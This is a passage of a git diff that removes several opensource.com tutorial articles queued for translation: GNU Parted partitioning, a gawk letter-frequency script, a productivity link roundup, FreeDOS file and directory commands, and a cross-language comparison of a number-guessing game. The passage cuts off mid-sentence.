where it's located on the drive. - * A **partition** is a boundary identifying where a filesystem is located. For instance, if you have a 512GB drive, you can have a partition on that device that takes up the entire drive (512GB), or two partitions that each take 256GB each, or three partitions taking up some other variation of sizes, and so on. - * A **filesystem** is a storage scheme agreed upon by a hard drive and a computer. A computer must know how to read a filesystem to piece together all the data stored on the drive, and it must know how to write data back to the filesystem to maintain the data's integrity. - - - -The GNU Parted application manages the first two concepts: disk labels and partitions. Parted has some awareness of filesystems, but it leaves the details of filesystem implementation to other tools like `mkfs`. - -**[Download the [GNU Parted cheat sheet][3]]** - -### Locating the drive - -Before using GNU Parted, you must be certain where your drive is located on your system. First, attach the hard drive you want to format to your system, and then use the `parted` command to see what's attached to your computer: - - -``` -$ parted /dev/sda print devices -/dev/sda (2000GB) -/dev/sdb (1000GB) -/dev/sdc (1940MB) -``` - -The device you most recently attached gets a name later in the alphabet than devices that have been attached longer. In this example, `/dev/sdc` is most likely the drive I just attached. I can confirm that by its size because I know that the USB thumb drive I attached is only 2GB (1940MB is close enough), compared to my workstation's main drives, which are terabytes in size. If you're not sure, then you can get more information about the drive you think is the one you want to partition: - - -``` -$ parted /dev/sdc print -Model: Yoyodyne Tiny Drive 1.0 (scsi)     -Disk /dev/sdc: 1940MB -Sector size (logical/physical): 512B/512B -Partition Table: msdos -Disk Flags: - -Number  Start   End     Size    File system  Name  Flags - 1      1049kB  2048kB  1024kB  BS           Bloat  Hidden - 2      2049kB  1939MB  1937MB  FAT32        MyDrive -``` - -Some drives provide more metadata than others. This one identifies itself as a drive from Yoyodyne, which is exactly the branding on the physical drive. Furthermore, it contains a small hidden partition at the front of the drive with some bloatware followed by a Windows-compatible FAT32 partition. This is definitely the drive I intend to reformat. - -Before continuing, _make sure_ you have identified the correct drive you want to partition. _Repartitioning the wrong drive results in lost data._ For safety, all potentially destructive commands in this article reference the `/dev/sdX` device, which you are unlikely to have on your system. - -### Creating a disk label or partition table - -To create a partition on a drive, the drive must have a disk label. A disk label is also called a _partition table_, so Parted accepts either term. - -To create a disk label, use the `mklabel` or `mktable` subcommand: - - -``` -`$ parted /dev/sdX mklabel gpt` -``` - -This command creates a **gpt** label at the front of the drive located at `/dev/sdX`, erasing any label that may exist. This is a quick process because all that's being replaced is metadata about partitions. - -### Creating a partition - -To create a partition on a drive, use the `mkpart` subcommand, followed by an optional name for your partition, followed by the partition's start and end points. If you only need one partition on your drive, then sizing is easy: start at 1 and end at 100%. Use the `--align opt` option to allow Parted to adjust the position of the partition boundaries for best performance: - - -``` -$ parted /dev/sdX --align opt \ -mkpart example 1 100% -``` - -View your new partition with the `print` subcommand: - - -``` -$ parted /dev/sdX print -Model: Yoyodyne Tiny Drive 1.0 (scsi) -Disk /dev/sdi: 1940MB -Sector size (logical/physical): 512B/512B -Partition Table: gpt -Disk Flags: - -Number  Start   End     Size   - 1      1049kB  1939MB  1938MB -``` - -You don't have to use the whole disk for one partition. The advantage to a partition is that more than one filesystem can exist on a drive without interfering with the other partition(s). When sizing partitions, you can use the `unit` subcommand to set what kind of measurements you want to use. Parted understands sectors, cylinders, heads, bytes, kilobytes, megabytes, gigabytes, terabytes, and percentages. - -You can also specify what filesystem you intend to use a partition for. This doesn't create the filesystem, but it does provide metadata that could be useful to you later. - -Here's a 50-50 split, one for an XFS filesystem and another for an EXT4 filesystem: - - -``` -$ parted /dev/sdX --align opt \ -mkpart xfs 1 50% -$ parted /dev/sdX --align opt \ -mkpart ext4 51% 100% -``` - -### Naming a partition - -In addition to marking what filesystem a partition is for, you can also name each partition. Some file managers and utilities read partition names, which can help you identify drives. For instance, I often have several different drives attached on my media workstation, each belonging to a different project. When creating these drives, I name both the partition and the filesystem so that, no matter how I'm looking at my system, the locations with important data are clearly labeled. - -To name a partition, you must know its number: - - -``` -$ parted /dev/sdX print -[...] -Number  Start   End     Size   File system  Name     Flags - 1      1049kB  990MB   989MB  xfs          example - 2      1009MB  1939MB  930MB  ext4         noname -``` - -To name partition 1: - - -``` -$ parted /dev/sdX name 1 example -$ parted /dev/sdX print -[...] -Number  Start   End     Size   File system  Name     Flags - 1      1049kB  990MB   989MB  xfs          example - 2      1009MB  1939MB  930MB  ext4         noname -``` - -### Create a filesystem - -For your drive to be useful, you must create a filesystem in your new partition. GNU Parted doesn't do that because it's only a partition manager. The Linux command to create a filesystem on a drive is `mkfs`, but there are helpful utilities aliased for you to use to create a specific kind of filesystem. For instance, `mkfs.ext4` creates an EXT4 filesystem, while `mkfs.xfs` creates an XFS filesystem, and so on. - -Your partition is located "in" the drive, so instead of creating a filesystem on `/dev/sdX`, you create your filesystem in `/dev/sdX1` for the first partition, `/dev/sdX2` for the second partition, and so on. - -Here's an example of creating an XFS filesystem: - - -``` -`$ sudo mkfs.xfs -L mydrive /dev/sdX1` -``` - -### Download our cheat sheet - -Parted is a flexible and powerful command. You can issue it commands, as demonstrated in this article, or activate an interactive mode so that you're constantly "connected" to a drive you specify: - - -``` -$ parted /dev/sdX -(parted) print -[...] -Number  Start   End     Size   File system  Name     Flags - 1      1049kB  990MB   989MB  xfs          example - 2      1009MB  1939MB  930MB  ext4         noname - -(parted) name 1 mydrive -(parted) -``` - -If you intend to use Parted often, [download our GNU Parted cheat sheet][3] so that you have all the subcommands you need close at hand. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/linux-parted-cheat-sheet - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coverimage_cheat_sheet.png?itok=lYkNKieP (Cheat Sheet cover image) -[2]: https://opensource.com/article/18/11/partition-format-drive-linux#gui -[3]: https://opensource.com/downloads/parted-cheat-sheet diff --git a/sources/tech/20210401 Use awk to calculate letter frequency.md b/sources/tech/20210401 Use awk to calculate letter frequency.md deleted file mode 100644 index afc6449ff1..0000000000 --- a/sources/tech/20210401 Use awk to calculate letter frequency.md +++ /dev/null @@ -1,286 +0,0 @@ -[#]: subject: (Use awk to calculate letter frequency) -[#]: via: (https://opensource.com/article/21/4/gawk-letter-game) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Use awk to calculate letter frequency -====== -Write an awk script to determine the most (and least) common letters in -a set of words. -![Typewriter keys in multicolor][1] - -I recently started writing a game where you build words using letter tiles. To create the game, I needed to know the frequency of letters across regular words in the English language, so I could present a useful set of letter tiles. Letter frequency is discussed in various places, including [on Wikipedia][2], but I wanted to calculate the letter frequency myself. - -Linux provides a list of words in the `/usr/share/dict/words` file, so I already have a list of likely words to use. The `words` file contains lots of words that I want, but a few that I don't. I wanted a list of all words that weren't compound words (no hyphens or spaces) or proper nouns (no uppercase letters). To get that list, I can run the `grep` command to pull out only the lines that consist solely of lowercase letters: - - -``` -`$ grep  '^[a-z]*$' /usr/share/dict/words` -``` - -This regular expression asks `grep` to match patterns that are only lowercase letters. The characters `^` and `$` in the pattern represent the start and end of the line, respectively. The `[a-z]` grouping will match only the lowercase letters **a** to **z**. - -Here's a quick sample of the output: - - -``` -$ grep  '^[a-z]*$' /usr/share/dict/words | head -a -aa -aaa -aah -aahed -aahing -aahs -aal -aalii -aaliis -``` - -And yes, those are all valid words. For example, "aahed" is the past tense exclamation of "aah," as in relaxation. And an "aalii" is a bushy tropical shrub. - -Now I just need to write a `gawk` script to do the work of counting the letters in each word, and then print the relative frequency of each letter it finds. - -### Counting letters - -One way to count letters in `gawk` is to iterate through each character in each input line and count occurrences of each letter **a** to **z**. The `substr` function will return a substring of a given length, such as a single letter, from a larger string. For example, this code example will evaluate each character `c` from the input: - - -``` -{ -    len = length($0); for (i = 1; i <= len; i++) { -        c = substr($0, i, 1); -    } -} -``` - -If I start with a global string `LETTERS` that contains the alphabet, I can use the `index` function to find the location of a single letter in the alphabet. I'll expand the `gawk` code example to evaluate only the letters **a** to **z** in the input: - - -``` -BEGIN { LETTERS = "abcdefghijklmnopqrstuvwxyz" } -  -{ -    len = length($0); for (i = 1; i <= len; i++) { -        c = substr($0, i, 1); -        ltr = index(LETTERS, c); -    } -} -``` - -Note that the index function returns the first occurrence of the letter from the `LETTERS` string, starting with 1 at the first letter, or zero if not found. If I have an array that is 26 elements long, I can use the array to count the occurrences of each letter. I'll add this to my code example to increment (using `++`) the count for each letter as it appears in the input: - - -``` -BEGIN { LETTERS = "abcdefghijklmnopqrstuvwxyz" } -  -{ -    len = length($0); for (i = 1; i <= len; i++) { -        c = substr($0, i, 1); -        ltr = index(LETTERS, c); -  -        if (ltr > 0) { -            ++count[ltr]; -        } -    } -} -``` - -### Printing relative frequency - -After the `gawk` script counts all the letters, I want to print the frequency of each letter it finds. I am not interested in the total number of each letter from the input, but rather the _relative frequency_ of each letter. The relative frequency scales the counts so that the letter with the fewest occurrences (such as the letter **q**) is set to 1, and other letters are relative to that. - -I'll start with the count for the letter **a**, then compare that value to the counts for each of the other letters **b** to **z**: - - -``` -END { -    min = count[1]; for (ltr = 2; ltr <= 26; ltr++) { -        if (count[ltr] < min) { -            min = count[ltr]; -        } -    } -} -``` - -At the end of that loop, the variable `min` contains the minimum count for any letter. I can use that to provide a scale for the counts to print the relative frequency of each letter. For example, if the letter with the lowest occurrence is **q**, then `min` will be equal to the **q** count. - -Then I loop through each letter and print it with its relative frequency. I divide each count by `min` to print the relative frequency, which means the letter with the lowest count will be printed with a relative frequency of 1. If another letter appears twice as often as the lowest count, that letter will have a relative frequency of 2. I'm only interested in integer values here, so 2.1 and 2.9 are the same as 2 for my purposes: - - -``` -END { -    min = count[1]; for (ltr = 2; ltr <= 26; ltr++) { -        if (count[ltr] < min) { -            min = count[ltr]; -        } -    } -  -    for (ltr = 1; ltr <= 26; ltr++) { -        print substr(LETTERS, ltr, 1), int(count[ltr] / min); -    } -} -``` - -### Putting it all together - -Now I have a `gawk` script that can count the relative frequency of letters in its input: - - -``` -#!/usr/bin/gawk -f -  -# only count a-z, ignore A-Z and any other characters -  -BEGIN { LETTERS = "abcdefghijklmnopqrstuvwxyz" } -  -{ -    len = length($0); for (i = 1; i <= len; i++) { -        c = substr($0, i, 1); -        ltr = index(LETTERS, c); -  -        if (ltr > 0) { -            ++count[ltr]; -        } -    } -} -  -# print relative frequency of each letter -    -END { -    min = count[1]; for (ltr = 2; ltr <= 26; ltr++) { -        if (count[ltr] < min) { -            min = count[ltr]; -        } -    } -  -    for (ltr = 1; ltr <= 26; ltr++) { -        print substr(LETTERS, ltr, 1), int(count[ltr] / min); -    } -} -``` - -I'll save that to a file called `letter-freq.awk` so that I can use it more easily from the command line. - -If you prefer, you can also use `chmod +x` to make the file executable on its own. The `#!/usr/bin/gawk -f` on the first line means Linux will run it as a script using the `/usr/bin/gawk` program. And because the `gawk` command line uses `-f` to indicate which file it should use as a script, you need that hanging `-f` so that executing `letter-freq.awk` at the shell will be properly interpreted as running `/usr/bin/gawk -f letter-freq.awk` instead. - -I can test the script with a few simple inputs. For example, if I feed the alphabet into my `gawk` script, each letter should have a relative frequency of 1: - - -``` -$ echo abcdefghijklmnopqrstuvwxyz | gawk -f letter-freq.awk -a 1 -b 1 -c 1 -d 1 -e 1 -f 1 -g 1 -h 1 -i 1 -j 1 -k 1 -l 1 -m 1 -n 1 -o 1 -p 1 -q 1 -r 1 -s 1 -t 1 -u 1 -v 1 -w 1 -x 1 -y 1 -z 1 -``` - -Repeating that example but adding an extra instance of the letter **e** will print the letter **e** with a relative frequency of 2 and every other letter as 1: - - -``` -$ echo abcdeefghijklmnopqrstuvwxyz | gawk -f letter-freq.awk -a 1 -b 1 -c 1 -d 1 -e 2 -f 1 -g 1 -h 1 -i 1 -j 1 -k 1 -l 1 -m 1 -n 1 -o 1 -p 1 -q 1 -r 1 -s 1 -t 1 -u 1 -v 1 -w 1 -x 1 -y 1 -z 1 -``` - -And now I can take the big step! I'll use the `grep` command with the `/usr/share/dict/words` file and identify the letter frequency for all words spelled entirely with lowercase letters: - - -``` -$ grep  '^[a-z]*$' /usr/share/dict/words | gawk -f letter-freq.awk -a 53 -b 12 -c 28 -d 21 -e 72 -f 7 -g 15 -h 17 -i 58 -j 1 -k 5 -l 36 -m 19 -n 47 -o 47 -p 21 -q 1 -r 46 -s 48 -t 44 -u 25 -v 6 -w 4 -x 1 -y 13 -z 2 -``` - -Of all the lowercase words in the `/usr/share/dict/words` file, the letters **j**, **q**, and **x** occur least frequently. The letter **z** is also pretty rare. Not surprisingly, the letter **e** is the most frequently used. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/gawk-letter-game - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/osdc-docdish-typewriterkeys-3.png?itok=NyBwMdK_ (Typewriter keys in multicolor) -[2]: https://en.wikipedia.org/wiki/Letter_frequency diff --git a/sources/tech/20210402 20 ways to be more productive and respect yourself.md b/sources/tech/20210402 20 ways to be more productive and respect yourself.md deleted file mode 100644 index 58b66e1e88..0000000000 --- a/sources/tech/20210402 20 ways to be more productive and respect yourself.md +++ /dev/null @@ -1,104 +0,0 @@ -[#]: subject: (20 ways to be more productive and respect yourself) -[#]: via: (https://opensource.com/article/21/4/productivity-roundup) -[#]: author: (Jen Wike Huger https://opensource.com/users/jen-wike) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -20 ways to be more productive and respect yourself -====== -Open source tools and more efficient processes can give you an edge over -your to-do list. -![Kanban-style organization action][1] - -The need to be productive is ingrained in who we are as human beings on some level. We oftentimes have to do yoga and meditate and breathe deeply in order to consciously slow down our minds and bodies, but when we do it helps us focus and be more productive when the time comes. Instead of constantly moving and doing, we should take periods of thoughtful breaks... or veg out in front of the TV or a sunset. And sleep at night! Then, when we're ready again, we can tackle that to-do list. Rinse and repeat. - -Honoring this cycle of moving through active and restful states, our productivity series this year brought to us by author [Kevin Sonney][2] showcases open source tools and more efficient processes while paying attention to healthy practices for incorporating them and respecting the person doing the implementing, you. - -### Tools and technology - -The software, the apps, and the programs... they are the tools we wield when we're ready to sit down and get stuff done. Here are nine open source tools you should know. - - * [Improve your productivity with this lightweight Linux desktop][3] - * [3 plain text note-taking tools][4] - * [How to use KDE's productivity suite, Kontact][5] - * [How Nextcloud is the ultimate open source productivity suite][6] - * [Schedule appointments with an open source alternative to Doodle][7] - * [Use Joplin to find your notes faster][8] - * [Use your Raspberry Pi as a productivity powerhouse][9] - - - -### Processes and practices - -#### Email - -Despite the criticism, is email still a favorite way for you to get stuff done? Improve on this process even more with these tips: - - * [3 email rules to live by in 2021][10] - * [3 steps to achieving Inbox Zero][11] - * [Organize your task list using labels][12] - * [3 tips for automating your email filters][13] - * [3 email mistakes and how to avoid them][14] - - - -#### Calendars - -We often need to work with others and ask important questions to get work done and tasks completed, so scheduling meetings is an important part of being productive. - - * [Gain control of your calendar with this simple strategy][15] - - - -#### Mind games - -Preparing and caring for our mental state while we work is critical to being productive. Kevin shows us how to prioritize, reflect, take care, reduce stress, rest, and focus.   - - * [How I prioritize tasks on my to-do list][16] - * [Tips for incorporating self-care into your daily routine][17] - * [Why keeping a journal improves productivity][18] - * [3 stress-free steps to tackling your task list][19] - * [4 tips for preventing notification fatigue][20] - * [Open source tools and tips for staying focused][21] - * [How I de-clutter my digital workspace][22] - - - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/productivity-roundup - -作者:[Jen Wike Huger][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jen-wike -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/kanban_trello_organize_teams_520.png?itok=ObNjCpxt (Kanban-style organization action) -[2]: https://opensource.com/users/ksonney -[3]: https://opensource.com/article/21/1/elementary-linux -[4]: https://opensource.com/article/21/1/plain-text -[5]: https://opensource.com/article/21/1/kde-kontact -[6]: https://opensource.com/article/21/1/nextcloud-productivity -[7]: https://opensource.com/article/21/1/open-source-scheduler -[8]: https://opensource.com/article/21/1/notes-joplin -[9]: https://opensource.com/article/21/1/raspberry-pi-productivity -[10]: https://opensource.com/article/21/1/email-rules -[11]: https://opensource.com/article/21/1/inbox-zero -[12]: https://opensource.com/article/21/1/labels -[13]: https://opensource.com/article/21/1/email-filter -[14]: https://opensource.com/article/21/1/email-mistakes -[15]: https://opensource.com/article/21/1/calendar-time-boxing -[16]: https://opensource.com/article/21/1/prioritize-tasks -[17]: https://opensource.com/article/21/1/self-care -[18]: https://opensource.com/article/21/1/open-source-journal -[19]: https://opensource.com/article/21/1/break-down-tasks -[20]: https://opensource.com/article/21/1/alert-fatigue -[21]: https://opensource.com/article/21/1/stay-focused -[22]: https://opensource.com/article/21/1/declutter-workspace diff --git a/sources/tech/20210403 FreeDOS commands you need to know.md b/sources/tech/20210403 FreeDOS commands you need to know.md deleted file mode 100644 index 34cb48280e..0000000000 --- a/sources/tech/20210403 FreeDOS commands you need to know.md +++ /dev/null @@ -1,169 +0,0 @@ -[#]: subject: (FreeDOS commands you need to know) -[#]: via: (https://opensource.com/article/21/4/freedos-commands) -[#]: author: (Kevin O'Brien https://opensource.com/users/ahuka) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -FreeDOS commands you need to know -====== -Learn how to make, remove, copy, and do other things with directories -and files in FreeDOS. -![woman on laptop sitting at the window][1] - -[FreeDOS][2], the open source implementation of DOS, provides a lightweight operating system for running legacy applications on modern hardware (or in an emulator) and for updating hardware vendor fails with a Linux-compatible firmware flasher. Getting familiar with FreeDOS is not only a fun throwback to the computing days of the past, it's an investment into gaining useful computing skills. In this article, I'll look at some of the essential commands you need to know to work on a FreeDOS system. - -### Essential directory and file commands - -FreeDOS uses directories to organize files on a hard drive. That means you need to use directory commands to create a structure to store your files and find the files you've stored there. The commands you need to manage your directory structure are relatively few: - - * `MD` (or `MKDIR`) creates a new directory or subdirectory. - * `RD` (or `RMDIR`) removes (or deletes) a directory or subdirectory. - * `CD` (or `CHDIR`) changes from the current working directory to another directory. - * `DELTREE` erases a directory, including any files or subdirectories it contains. - * `DIR` lists the contents of the current working directory. - - - -Because working with directories is central to what FreeDOS does, all of these (except DELTREE) are internal commands contained within COMMAND.COM. Therefore, they are loaded into RAM and ready for use whenever you boot (even from a boot disk). The first three commands have two versions: a two-letter short name and a long name. There is no difference in practice, so I'll use the short form in this article. - -### Make a directory with MD - -FreeDOS's `MD` command creates a new directory or subdirectory. (Actually, since the _root_ is the main directory, all directories are technically subdirectories, so I'll refer to _subdirectories_ in all examples.) An optional argument is the path to the directory you want to create, but if no path is included, the subdirectory is created in the current working subdirectory. - -For example, to create a subdirectory called `letters` in your current location: - - -``` -`C:\HOME\>MD LETTERS` -``` - -This creates the subdirectory `C:\letters`. - -By including a path, you can create a subdirectory anywhere: - - -``` -`C:\>MD C:\HOME\LETTERS\LOVE` -``` - -This has the same result as moving into `C:\HOME\LETTERS` first and then creating a subdirectory there: - - -``` -C:\CD HOME\LETTERS -C:\HOME\LETTERS\>MD LOVE -C:\HOME\LETTERS\>DIR -LOVE -``` - -A path specification cannot exceed 63 characters, including backslashes. - -### Remove a directory with RD - -FreeDOS's `RD` command removes a subdirectory. The subdirectory must be empty. If it contains files or other subdirectories, you get an error message. This has an optional path argument with the same syntax as `MD`. - -You cannot remove your current working subdirectory. To do that, you must `CD` to the parent subdirectory and then remove the undesired subdirectory. - -### Delete files and directories with DELTREE - -The `RD` command can be a little confusing because of safeguards FreeDOS builds into the command. That you cannot delete a subdirectory that has contents, for instance, is a safety measure. `DELTREE` is the solution. - -`DELTREE` deletes an entire subdirectory "tree" (a subdirectory), plus all of the files it contains, plus all of the subdirectories those contain, and all of the files _they_ contain, and so on, all in one easy command. Sometimes it can be a little _too_ easy because it can wipe out so much data so quickly. It ignores file attributes, so you can wipe out hidden, read-only, and system files without knowing it. - -You can even wipe out multiple trees by specifying them in the command. This would wipe out both of these subdirectories in one command: - - -``` -`C:\>DELTREE C:\FOO C:\BAR` -``` - -This is one of those commands where you really ought to think twice before you use it. It has its place, definitely. I can still remember how tedious it was to go into each subdirectory, delete the individual files, check each subdirectory for contents, delete each subdirectory one at a time, then jump up one level and repeat the process. `DELTREE` is a great timesaver when you need it. But I would never use it for ordinary maintenance because one false move can do so much damage. - -### Format a hard drive - -The `FORMAT` command can also be used to prepare a blank hard drive to have files written to it. This formats the `D:` drive: - - -``` -`C:\>FORMAT D:` -``` - -### Copy files - -The `COPY` command, as the name implies, copies files from one place to another. The required arguments are the file to be copied and the path and file to copy it to. Switches include: - - * `/Y` prevents a prompt when a file is being overwritten. - * `/-Y` requires a prompt when a file is being overwritten. - * `/V` verifies the contents of the copy. - - - -This copies the file `MYFILE.TXT` from the working directory on `C:` to the root directory of the `D:` drive and renames it `EXAMPLE.TXT`: - - -``` -`C:\>COPY MYFILE.TXT D:\EXAMPLE.TXT` -``` - -This copies the file `EXAMPLE.TXT` from the working directory on `C:` to the `C:\DOCS\` directory and then verifies the contents of the file to ensure that the copy is complete: - - -``` -`C:\>COPY EXAMPLE.TXT C:\DOCS\EXAMPLE.TXT /V` -``` - -You can also use the `COPY` command to combine and append files. This combines the two files `MYFILE1.TXT` and `MYFILE2.TXT` and places them in a new file called `MYFILE3.TXT`: - - -``` -`C:\>COPY MYFILE1.TXT+MYFILE2.TXT MYFILE3.TXT` -``` - -### Copy directories with XCOPY - -The `XCOPY` command copies entire directories, along with all of their subdirectories and all of the files contained in those subdirectories. Arguments are the files and path to be copied and the destination to copy them to. Important switches are: - - * `/S` copies all files in the current directory and any subdirectory within it. - * `/E` copies subdirectories, even if they are empty. This option must be used with the `/S` option. - * `/V` verifies the copies that were made. - - - -This is a very powerful and useful command, particularly for backing up directories or an entire hard drive. - -This command copies the entire contents of the directory `C:\DOCS`, including all subdirectories and their contents (except empty subdirectories) and places them on drive `D:` in the directory `D:\BACKUP\DOCS\`: - - -``` -`C:\>XCOPY C:\DOCS D:\BACKUP\DOCS\ /S` -``` - -### Using FreeDOS - -FreeDOS is a fun, lightweight, open source operating system. It provides lots of great utilities to enable you to get work done on it, whether you're using it to update the firmware of your motherboard or to give new life to an old computer. Learn the basics of FreeDOS. You might be surprised at how versatile it is. - -* * * - -_Some of the information in this article was previously published in [DOS lesson 8: Format; copy; diskcopy; Xcopy][3]; [DOS lesson 10: Directory commands][4] (both CC BY-SA 4.0); and [How to work with DOS][5]._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/freedos-commands - -作者:[Kevin O'Brien][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ahuka -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lenovo-thinkpad-laptop-window-focus.png?itok=g0xPm2kD (young woman working on a laptop) -[2]: https://www.freedos.org/ -[3]: https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-8-format-copy-diskcopy-xcopy/ -[4]: https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-10-directory-commands/ -[5]: https://allaboutdosdirectoires.blogspot.com/ diff --git a/sources/tech/20210405 How different programming languages do the same thing.md b/sources/tech/20210405 How different programming languages do the same thing.md deleted file mode 100644 index 2220c2d410..0000000000 --- a/sources/tech/20210405 How different programming languages do the same thing.md +++ /dev/null @@ -1,156 +0,0 @@ -[#]: subject: (How different programming languages do the same thing) -[#]: via: (https://opensource.com/article/21/4/compare-programming-languages) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -How different programming languages do the same thing -====== -Compare 13 different programming languages by writing a simple game. -![Developing code.][1] - -Whenever I start learning a new programming language, I focus on defining variables, writing a statement, and evaluating expressions. Once I have a general understanding of those concepts, I can usually figure out the rest on my own. Most programming languages have some similarities, so once you know one programming language, learning the next one is a matter of figuring out the unique details and recognizing the differences. - -To help me practice a new programming language, I like to write a few test programs. One sample program I often write is a simple "guess the number" game, where the computer picks a number between one and 100 and asks me to guess it. The program loops until I guess correctly. This is a very simple program, as you can see using pseudocode like this: - - 1. The computer picks a random number between 1 and 100 - 2. Loop until I guess the random number - 1. The computer reads my guess - 2. It tells me if my guess is too low or too high - - - -Recently, Opensource.com ran an article series that wrote this program in different languages. This was an interesting opportunity to compare how to do the same thing in each language. I also found that most programming languages do things similarly, so learning the next programming language is mostly about learning its differences. - -C is an early general-purpose programming language, created in 1972 at Bell Labs by Dennis Ritchie. C proved popular and quickly became a standard programming language on Unix systems. Because of its popularity, many other programming languages adopted a similar programming syntax. That's why learning C++, Rust, Java, Groovy, JavaScript, awk, or Lua is easier if you already know how to program in C. - -For example, look at how these different programming languages implement the major steps in the "guess the number" game. I'll skip some of the surrounding code, such as assigning temporary variables, to focus on how the basics are similar or different. - -### The computer picks a random number between one and 100 - -You can see a lot of similarities here. Most of the programming languages generate a random number with a function like `rand()` that you can put into a range on your own. Other languages use a special function where you can specify the range for the random value. - -C | Using the Linux `getrandom` system call: -`getrandom(&randval, sizeof(int), GRND_NONBLOCK); number = randval % maxval + 1;` - -Using the standard C library: -`number = rand() % 100 + 1;` ----|--- -C++ | `int number = rand() % 100+1;` -Rust | `let random = rng.gen_range(1..101);` -Java | `private static final int NUMBER = r.nextInt(100) + 1;` -Groovy | `int randomNumber = (new Random()).nextInt(100) + 1` -JavaScript | `const randomNumber = Math.floor(Math.random() * 100) + 1` -awk | `randomNumber = int(rand() * 100) + 1` -Lua | `number = math.random(1,100)` - -### Loop until I guess the random number - -Loops are usually done with a flow-control block such as `while` or `do-while`. The JavaScript implementation doesn't use a loop and instead updates the HTML page "live" until the user guesses the correct number. Awk supports loops, but it doesn't make sense to loop to read input because awk is based around data pipelines, so it reads input from a file instead of directly from the user.  - -C | `do { … } while (guess != number); ` ----|--- -C++ | `do { …  } while ( number != guess ); ` -Rust | `for line in std::io::stdin().lock().lines() { … break; } ` -Java | `while ( guess != NUMBER ) { … } ` -Groovy | `while ( … ) { … break; } ` -Lua | ` while ( player.guess ~= number ) do … end` - -### The computer reads my guess - -Different programming languages handle input differently. So there's some variation here. For example, JavaScript reads values directly from an HTML form, and awk reads data from its data pipeline. - -C | `scanf("%d", &guess); ` ----|--- -C++ | `cin >> guess; ` -Rust | `let parsed = line.ok().as_deref().map(str::parse::); if let Some(Ok(guess)) = parsed { … } ` -Java | `guess = player.nextInt(); ` -Groovy | `response = reader.readLine() int guess = response as Integer ` -JavaScript | `let myGuess = guess.value ` -awk | `guess = int($0) ` -Lua | `player.answer = io.read() player.guess = tonumber(player.answer) ` - -### Tell me if my guess is too low or too high - -Comparisons are fairly consistent across these C-like programming languages, usually through an `if` statement. There's some variation in how each programming language prints output, but the print statement remains recognizable across each sample. - -C | `    if (guess < number) {       puts("Too low");     }     else if (guess > number) {       puts("Too high");     } …   puts("That's right!");``  ` ----|--- -C++ | `  if ( guess > number) { cout << "Too high.\n" << endl; }   else if ( guess < number ) { cout << "Too low.\n" << endl; }   else {     cout << "That's right!\n" << endl;     exit(0);   }``  ` -Rust | `                _ if guess < random => println!("Too low"),                 _ if guess > random => println!("Too high"),                 _ => {                     println!("That's right");                     break;                 } ` -Java | `            if ( guess > NUMBER ) {                 System.out.println("Too high");             } else if ( guess < NUMBER ) {                 System.out.println("Too low");             } else {                 System.out.println("That's right!");                 System.exit(0);             } ` -Groovy | `                  if (guess < randomNumber)                       print 'too low, try again: '                   else if (guess > randomNumber)                       print 'too high, try again: '                   else {                       println "that's right"                       break                   } ` -JavaScript | `      if (myGuess === randomNumber) {         feedback.textContent = "You got it right!"       } else if (myGuess > randomNumber) {         feedback.textContent = "Your guess was " + myGuess + ". That's too high. Try Again!"       } else if (myGuess < randomNumber) {        feedback.textContent = "Your guess was " + myGuess + ". That's too low. Try Again!"      } ` -awk | `            if (guess < randomNumber) {                 printf "too low, try again:"             } else if (guess > randomNumber) {                 printf "too high, try again:"             } else {                 printf "that's right\n"                 exit             } ` -Lua | `  if ( player.guess > number ) then     print("Too high")   elseif ( player.guess < number) then     print("Too low")   else     print("That's right!")     os.exit()   end ` - -### What about non-C-based languages? - -Programming languages that are not based on C can be quite different and require learning specific syntax to do each step. Racket derives from Lisp and Scheme, so it uses Lisp's prefix notation and lots of parentheses. Python uses whitespace rather than brackets to indicate blocks like loops. Elixir is a functional programming language with its own syntax. Bash is based on the Bourne shell from Unix systems, which itself borrows from Algol68—and supports additional shorthand notation such as `&&` as a variation of "and." Fortran was created when code was entered using punched cards, so it relies on an 80-column layout where some columns are significant. - -As an example of how these other programming languages can differ, I'll compare just the "if" statement that sees if 